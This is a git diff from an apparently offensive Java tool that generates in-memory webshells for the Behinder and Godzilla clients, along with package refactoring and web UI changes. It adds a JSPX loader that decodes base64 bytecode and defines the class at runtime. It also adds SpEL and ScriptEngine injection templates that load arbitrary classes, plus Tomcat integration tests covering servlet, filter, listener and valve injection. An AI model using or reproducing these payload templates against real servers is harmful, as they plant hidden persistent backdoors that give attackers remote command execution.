org.apache.commons.io.IOUtils; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/spel/SpELPacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/spel/SpELPacker.java new file mode 100644 index 00000000..9fb2a1d7 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/spel/SpELPacker.java @@ -0,0 +1,10 @@ +package com.reajason.javaweb.memshell.packer.spel; + +import com.reajason.javaweb.memshell.packer.AggregatePacker; + +/** + * @author ReaJason + * @since 2025/1/26 + */ +public class SpELPacker implements AggregatePacker { +} diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/SpELScriptEnginePacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/spel/SpELScriptEnginePacker.java similarity index 63% rename from generator/src/main/java/com/reajason/javaweb/memshell/packer/SpELScriptEnginePacker.java rename to generator/src/main/java/com/reajason/javaweb/memshell/packer/spel/SpELScriptEnginePacker.java index 537427c9..706f6337 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/SpELScriptEnginePacker.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/spel/SpELScriptEnginePacker.java @@ -1,18 +1,19 @@ -package com.reajason.javaweb.memshell.packer; +package com.reajason.javaweb.memshell.packer.spel; import com.reajason.javaweb.memshell.config.GenerateResult; +import com.reajason.javaweb.memshell.packer.Packer; +import com.reajason.javaweb.memshell.packer.Packers; /** * @author ReaJason * @since 2024/12/13 */ public class SpELScriptEnginePacker implements Packer { - ScriptEnginePacker scriptEnginePacker = new ScriptEnginePacker(); String template = "T(javax.script.ScriptEngineManager).newInstance().getEngineByName('js').eval('{{script}}')"; @Override public String pack(GenerateResult generateResult) { - String script = scriptEnginePacker.pack(generateResult); + String script = Packers.ScriptEngine.getInstance().pack(generateResult); return template.replace("{{script}}", script); } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/SpELSpringIOUtilsGzipPacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/spel/SpELSpringIOUtilsGzipPacker.java similarity index 90% rename from generator/src/main/java/com/reajason/javaweb/memshell/packer/SpELSpringIOUtilsGzipPacker.java rename to generator/src/main/java/com/reajason/javaweb/memshell/packer/spel/SpELSpringIOUtilsGzipPacker.java index dd0dcf1c..315d26be 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/SpELSpringIOUtilsGzipPacker.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/spel/SpELSpringIOUtilsGzipPacker.java @@ -1,6 +1,7 @@ -package com.reajason.javaweb.memshell.packer; +package com.reajason.javaweb.memshell.packer.spel; import com.reajason.javaweb.memshell.config.GenerateResult; +import com.reajason.javaweb.memshell.packer.Packer; import com.reajason.javaweb.memshell.utils.CommonUtil; import lombok.SneakyThrows; import org.apache.commons.codec.binary.Base64; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/SpELSpringUtilPacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/spel/SpELSpringUtilsPacker.java similarity index 79% rename from generator/src/main/java/com/reajason/javaweb/memshell/packer/SpELSpringUtilPacker.java rename to generator/src/main/java/com/reajason/javaweb/memshell/packer/spel/SpELSpringUtilsPacker.java index 3d56b056..0ca73122 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/SpELSpringUtilPacker.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/spel/SpELSpringUtilsPacker.java @@ -1,12 +1,13 @@ -package com.reajason.javaweb.memshell.packer; +package com.reajason.javaweb.memshell.packer.spel; import com.reajason.javaweb.memshell.config.GenerateResult; +import com.reajason.javaweb.memshell.packer.Packer; /** * @author ReaJason * @since 2024/12/13 */ -public class SpELSpringUtilPacker implements Packer { +public class SpELSpringUtilsPacker implements Packer { String template = "T(org.springframework.cglib.core.ReflectUtils).defineClass('{{className}}',T(org.springframework.util.Base64Utils).decodeFromString('{{base64Str}}'),T(java.lang.Thread).currentThread().getContextClassLoader()).newInstance()"; @Override diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/VelocityPacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/velocity/VelocityPacker.java similarity index 82% rename from generator/src/main/java/com/reajason/javaweb/memshell/packer/VelocityPacker.java rename to generator/src/main/java/com/reajason/javaweb/memshell/packer/velocity/VelocityPacker.java index edddb167..900f7a39 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/VelocityPacker.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/velocity/VelocityPacker.java @@ -1,6 +1,8 @@ -package com.reajason.javaweb.memshell.packer; +package com.reajason.javaweb.memshell.packer.velocity; import com.reajason.javaweb.memshell.config.GenerateResult; +import com.reajason.javaweb.memshell.packer.Packer; +import com.reajason.javaweb.memshell.packer.scriptengine.ScriptEnginePacker; import org.apache.commons.io.IOUtils; import java.io.IOException; diff --git a/generator/src/main/resources/shell.jsp b/generator/src/main/resources/shell.jsp index 8c03d0ae..aec34696 100644 --- a/generator/src/main/resources/shell.jsp +++ b/generator/src/main/resources/shell.jsp @@ -42,7 +42,6 @@ } catch (Exception e) { try { byte[] bytecode = decodeBase64(base64Str); - // 不弄反射啦,以免高版本这儿报 module 限制 Class clazz = defineClass(bytecode); clazz.newInstance(); } catch (Exception ignored) { diff --git a/generator/src/main/resources/shell.jspx b/generator/src/main/resources/shell.jspx new file mode 100644 index 00000000..6b50ff95 --- /dev/null +++ b/generator/src/main/resources/shell.jspx @@ -0,0 +1,53 @@ + + + + base64Clz = classLoader.loadClass("java.util.Base64"); + Class decoderClz = classLoader.loadClass("java.util.Base64$Decoder"); + Object decoder = base64Clz.getMethod("getDecoder").invoke(base64Clz); + return (byte[]) decoderClz.getMethod("decode", String.class).invoke(decoder, bytecodeBase64); + } catch (Exception ee) { + try { + Class datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter"); + return (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(datatypeConverterClz, bytecodeBase64); + } catch (Exception e) { + return null; + } + } + } + + public Class defineClass(byte[] code) { + return defineClass(null, code, 0, code.length); + } + + @Override + public String toString() { + String className = "{{className}}"; + String base64Str = "{{base64Str}}"; + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + try { + classLoader.loadClass(className).newInstance(); + } catch (Exception e) { + try { + byte[] bytecode = decodeBase64(base64Str); + Class clazz = defineClass(bytecode); + clazz.newInstance(); + } catch (Exception ignored) { + } + } + return className; + } + } + ]]> + + \ No newline at end of file diff --git a/generator/src/test/java/com/reajason/javaweb/memshell/packer/FreemarkerPackerTest.java b/generator/src/test/java/com/reajason/javaweb/memshell/packer/FreemarkerPackerTest.java index a431b0c9..c03f3dfa 100644 --- a/generator/src/test/java/com/reajason/javaweb/memshell/packer/FreemarkerPackerTest.java +++ b/generator/src/test/java/com/reajason/javaweb/memshell/packer/FreemarkerPackerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.memshell.packer; import com.reajason.javaweb.memshell.config.GenerateResult; +import com.reajason.javaweb.memshell.packer.freemarker.FreemarkerPacker; import org.junit.jupiter.api.Test; import static org.junit.jupiter.api.Assertions.assertTrue; diff --git a/generator/src/test/java/com/reajason/javaweb/memshell/packer/GzipBase64Test.java b/generator/src/test/java/com/reajason/javaweb/memshell/packer/GzipBase64Test.java index 3aedbbcd..7f872dcb 100644 --- a/generator/src/test/java/com/reajason/javaweb/memshell/packer/GzipBase64Test.java +++ b/generator/src/test/java/com/reajason/javaweb/memshell/packer/GzipBase64Test.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.memshell.packer; import com.reajason.javaweb.memshell.config.GenerateResult; +import com.reajason.javaweb.memshell.packer.base64.GzipBase64Packer; import com.reajason.javaweb.memshell.utils.CommonUtil; import lombok.SneakyThrows; import org.apache.commons.codec.binary.Base64; @@ -19,7 +20,7 @@ class GzipBase64Test { void compress() { GenerateResult generateResult = new GenerateResult(); generateResult.setInjectorBytes("hello world".getBytes()); - String pack = new GzipBase64().pack(generateResult); + String pack = new GzipBase64Packer().pack(generateResult); assertEquals("hello world", new String(CommonUtil.gzipDecompress(Base64.decodeBase64(pack)))); } } \ No newline at end of file diff --git a/generator/src/test/java/com/reajason/javaweb/memshell/packer/JspPackerTest.java b/generator/src/test/java/com/reajason/javaweb/memshell/packer/JspPackerTest.java index 78210c87..8916e84a 100644 --- a/generator/src/test/java/com/reajason/javaweb/memshell/packer/JspPackerTest.java +++ b/generator/src/test/java/com/reajason/javaweb/memshell/packer/JspPackerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.memshell.packer; import com.reajason.javaweb.memshell.config.GenerateResult; +import com.reajason.javaweb.memshell.packer.jsp.JspPacker; import org.junit.jupiter.api.Test; import static org.junit.jupiter.api.Assertions.assertTrue; diff --git a/generator/src/test/java/com/reajason/javaweb/memshell/packer/ScriptEnginePackerTest.java b/generator/src/test/java/com/reajason/javaweb/memshell/packer/ScriptEnginePackerTest.java index b7efaff5..3154e56d 100644 --- a/generator/src/test/java/com/reajason/javaweb/memshell/packer/ScriptEnginePackerTest.java +++ b/generator/src/test/java/com/reajason/javaweb/memshell/packer/ScriptEnginePackerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.memshell.packer; import com.reajason.javaweb.memshell.config.GenerateResult; +import com.reajason.javaweb.memshell.packer.scriptengine.ScriptEnginePacker; import org.junit.jupiter.api.Test; import static org.junit.jupiter.api.Assertions.assertTrue; diff --git a/generator/src/test/java/com/reajason/javaweb/memshell/packer/spel/SpELPackerTest.java b/generator/src/test/java/com/reajason/javaweb/memshell/packer/spel/SpELPackerTest.java new file mode 100644 index 00000000..4e2de3bf --- /dev/null +++ b/generator/src/test/java/com/reajason/javaweb/memshell/packer/spel/SpELPackerTest.java @@ -0,0 +1,27 @@ +package com.reajason.javaweb.memshell.packer.spel; + +import com.alibaba.fastjson2.JSON; +import com.alibaba.fastjson2.JSONWriter; +import com.reajason.javaweb.memshell.config.GenerateResult; +import com.reajason.javaweb.memshell.packer.AggregatePacker; +import com.reajason.javaweb.memshell.packer.Packers; +import org.junit.jupiter.api.Test; + +import java.util.Map; + +/** + * @author ReaJason + * @since 2025/1/26 + */ +class SpELPackerTest { + + @Test + void pack() { + GenerateResult generateResult = GenerateResult.builder() + .injectorClassName("name") + .injectorBytes("name".getBytes()).build(); + AggregatePacker spELPacker = (AggregatePacker) Packers.SpEL.getInstance(); + Map stringStringMap = spELPacker.packAll(generateResult); + System.out.println(JSON.toJSONString(stringStringMap, JSONWriter.Feature.PrettyFormat)); + } +} \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat10ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat10ContainerTest.java index 5ffc0052..b85c2348 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat10ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat10ContainerTest.java @@ -42,28 +42,40 @@ public class Tomcat10ContainerTest { static Stream casesProvider() { return Stream.of( arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Behinder, Packers.JSPX), arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Behinder, Packers.Deserialize), arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packers.JSPX), arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packers.Deserialize), arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packers.JSPX), arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packers.Deserialize), arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JSPX), arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.Deserialize), arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JSPX), arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.Deserialize), arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JSPX), arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.Deserialize), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JSPX), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.Deserialize), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JSPX), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.Deserialize), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JSPX), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.Deserialize), arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.JSPX), arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.Deserialize), arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JSPX), arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.Deserialize), arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.JSPX), arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.Deserialize), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat5ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat5ContainerTest.java index 9ec5cf3d..4d87703c 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat5ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat5ContainerTest.java @@ -42,28 +42,40 @@ public class Tomcat5ContainerTest { static Stream casesProvider() { return Stream.of( arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSPX), arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Deserialize), arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSPX), arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSPX), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSPX), arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSPX), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSPX), arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSPX), arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSPX), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSPX), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSPX), arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize), arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSPX), arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize), arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSPX), arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize) // arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar) // arguments(imageName, TomcatShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar), diff --git a/web/src/components/code-viewer.tsx b/web/src/components/code-viewer.tsx index 68c1656c..47ae875d 100644 --- a/web/src/components/code-viewer.tsx +++ b/web/src/components/code-viewer.tsx @@ -1,7 +1,6 @@ import { Button, ButtonProps } from "@/components/ui/button.tsx"; -import { cn } from "@/lib/utils.ts"; import { Check, Copy } from "lucide-react"; -import { HTMLProps, useEffect, useState } from "react"; +import { HTMLProps, ReactNode, useEffect, useState } from "react"; import { CopyToClipboard } from "react-copy-to-clipboard"; import { Prism as SyntaxHighlighter } from "react-syntax-highlighter"; import { materialDark } from "react-syntax-highlighter/dist/esm/styles/prism"; @@ -31,15 +30,8 @@ export function CopyButton({ value, className, src, variant = "ghost", ...props toast.success("复制成功", { duration: 1000 }); }} > - ); @@ -47,41 +39,57 @@ export function CopyButton({ value, className, src, variant = "ghost", ...props export function CodeViewer({ code, + header, language, + height, showLineNumbers = true, - wrapLongLines = false, - height = 500, -}: { - code: string; - language: string; - showLineNumbers?: boolean; - wrapLongLines?: boolean; - height?: number; -}) { + wrapLongLines = true, +}: CodeViewerProps) { const lineProps: lineTagPropsFunction | HTMLProps | undefined = wrapLongLines ? { style: { overflowWrap: "break-word", whiteSpace: "pre-wrap" } } : undefined; return ( -
- - - {code} - +
+ {header && ( +
+ {header} + +
+ )} + {!header && ( +
+ +
+ )} +
+ + {code} + +
); } + +interface CodeViewerProps { + code: string; + language: string; + header?: ReactNode; + height?: string | number; + showLineNumbers?: boolean; + wrapLongLines?: boolean; + lineProps?: (lineNumber: number) => React.HTMLProps; +} diff --git a/web/src/components/copyable-field.tsx b/web/src/components/copyable-field.tsx index 0f39e288..6b8ca075 100644 --- a/web/src/components/copyable-field.tsx +++ b/web/src/components/copyable-field.tsx @@ -12,19 +12,17 @@ interface CopyableFieldProps { } export function CopyableField({ label, value, text }: CopyableFieldProps) { - const [copied, setCopied] = useState(false); + const [hasCopied, setHasCopied] = useState(false); const copyToClipboard = useCallback(() => { - if (typeof value === "string") { - navigator.clipboard.writeText(value).then(() => { - setCopied(true); - toast.success(`复制${label}成功`, { - duration: 1000, - }); - setTimeout(() => setCopied(false), 1000); - }); - } - }, [value, label]); + setHasCopied(true); + toast.success(`复制${label}成功`, { + duration: 1000, + }); + setTimeout(() => { + setHasCopied(false); + }, 1000); + }, [label]); return (
@@ -35,7 +33,7 @@ export function CopyableField({ label, value, text }: CopyableFieldProps) { {value && ( )} diff --git a/web/src/components/shell-result.tsx b/web/src/components/shell-result.tsx index 3aacc678..cc3726ad 100644 --- a/web/src/components/shell-result.tsx +++ b/web/src/components/shell-result.tsx @@ -15,6 +15,7 @@ import { import { Alert, AlertDescription, AlertTitle } from "@/components/ui/alert.tsx"; import { Button } from "@/components/ui/button.tsx"; import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card.tsx"; +import { Select, SelectContent, SelectItem, SelectTrigger, SelectValue } from "@/components/ui/select"; import { Separator } from "@/components/ui/separator.tsx"; import { Tabs, TabsContent, TabsList, TabsTrigger } from "@/components/ui/tabs.tsx"; import { downloadBytes } from "@/lib/utils.ts"; @@ -24,8 +25,9 @@ import { GenerateResult, GodzillaShellToolConfig, } from "@/types/shell.ts"; +import { TFunction } from "i18next"; import { CircleHelpIcon, TriangleAlertIcon } from "lucide-react"; -import { Fragment } from "react"; +import { Fragment, useState } from "react"; import { useTranslation } from "react-i18next"; import { toast } from "sonner"; @@ -219,14 +221,111 @@ function BasicInfo({ generateResult }: { generateResult?: GenerateResult }) { ); } -export function ShellResult({ - packResult, +function MultiPackResult({ + allPackResults, packMethod, - generateResult, -}: { packResult: string; packMethod: string; generateResult?: GenerateResult }) { + t, +}: { + allPackResults: object | undefined; + packMethod: string; + t: TFunction; +}) { + const showCode = packMethod === "JSP"; + const packMethods = Object.keys(allPackResults ?? {}); + const [selectedMethod, setSelectedMethod] = useState(packMethods[0]); + const [packResult, setPackResult] = useState(allPackResults?.[selectedMethod as keyof typeof allPackResults] ?? ""); + return ( + + + + ({packResult?.length}) +
+ } + wrapLongLines={!showCode} + showLineNumbers={showCode} + language={showCode ? "java" : "text"} + height={350} + /> + + ); +} + +function renderResultComponent( + packResult: string | undefined, + allPackResults: Map | undefined, + packMethod: string, + t: TFunction, + generateResult?: GenerateResult, +) { const showCode = packMethod === "JSP"; const isAgent = packMethod.startsWith("Agent"); const isJar = packMethod === "Jar"; + if (allPackResults) { + return ; + } + + if (isAgent) { + return ; + } + if (isJar) { + return ; + } + if (!isAgent && !isJar) { + return ( + + + + {t("packageConfig.title")}:{packMethod} + + ({packResult?.length}) +
+ } + wrapLongLines={!showCode} + showLineNumbers={showCode} + language={showCode ? "java" : "text"} + height={350} + /> + + ); + } + return null; +} + +export function ShellResult({ + packResult, + allPackResults, + packMethod, + generateResult, +}: { + packResult: string | undefined; + allPackResults: Map | undefined; + packMethod: string; + generateResult?: GenerateResult; +}) { const { t } = useTranslation(); return ( @@ -241,20 +340,7 @@ export function ShellResult({
- {!isAgent && !isJar && ( - -
({packResult.length})
- -
- )} - {isAgent && } - {isJar && } + {renderResultComponent(packResult, allPackResults, packMethod, t, generateResult)} @@ -281,7 +367,9 @@ export function ShellResult({ {generateResult?.shellClassName}} wrapLongLines={true} + height={600} code={generateResult?.shellBytesBase64Str ?? ""} language="text" /> @@ -312,6 +400,8 @@ export function ShellResult({ {generateResult?.injectorClassName}} + height={600} code={generateResult?.injectorBytesBase64Str ?? ""} language="text" /> diff --git a/web/src/i18n/translations.ts b/web/src/i18n/translations.ts index 952a237b..0febe2f1 100644 --- a/web/src/i18n/translations.ts +++ b/web/src/i18n/translations.ts @@ -60,7 +60,7 @@ export const resources = { AgentJar: "AgentJar", Deserialize: "Deserialize(Only CB4, 1.9.x)", ScriptEngine: "ScriptEngine", - XxlJob: "XXL-JOB Executor" + XxlJob: "XXL-JOB Executor", }, }, tips: { diff --git a/web/src/routes/index.tsx b/web/src/routes/index.tsx index 379f7a8c..b9b98f6e 100644 --- a/web/src/routes/index.tsx +++ b/web/src/routes/index.tsx @@ -53,7 +53,8 @@ function IndexComponent() { }, }); - const [packResult, setPackResult] = useState(""); + const [packResult, setPackResult] = useState(); + const [allPackResults, setAllPackResults] = useState | undefined>(); const [generateResult, setGenerateResult] = useState(); const [packMethod, setPackMethod] = useState(""); const [isActionPending, startTransition] = useTransition(); @@ -98,6 +99,7 @@ function IndexComponent() { if (response.ok) { const json: GenerateResponse = await response.json(); setPackResult(json.packResult); + setAllPackResults(json.allPackResults); setGenerateResult(json.generateResult); setPackMethod(values.packingMethod); toast.success(t("success.generated")); @@ -124,7 +126,12 @@ function IndexComponent() {
- +
diff --git a/web/src/types/shell.ts b/web/src/types/shell.ts index 7047ec41..3886a80a 100644 --- a/web/src/types/shell.ts +++ b/web/src/types/shell.ts @@ -61,8 +61,9 @@ export interface MainConfig { export type PackerConfig = Array; export interface GenerateResponse { - packResult: string; generateResult: GenerateResult; + packResult?: string; + allPackResults?: Map; } export interface APIErrorResponse {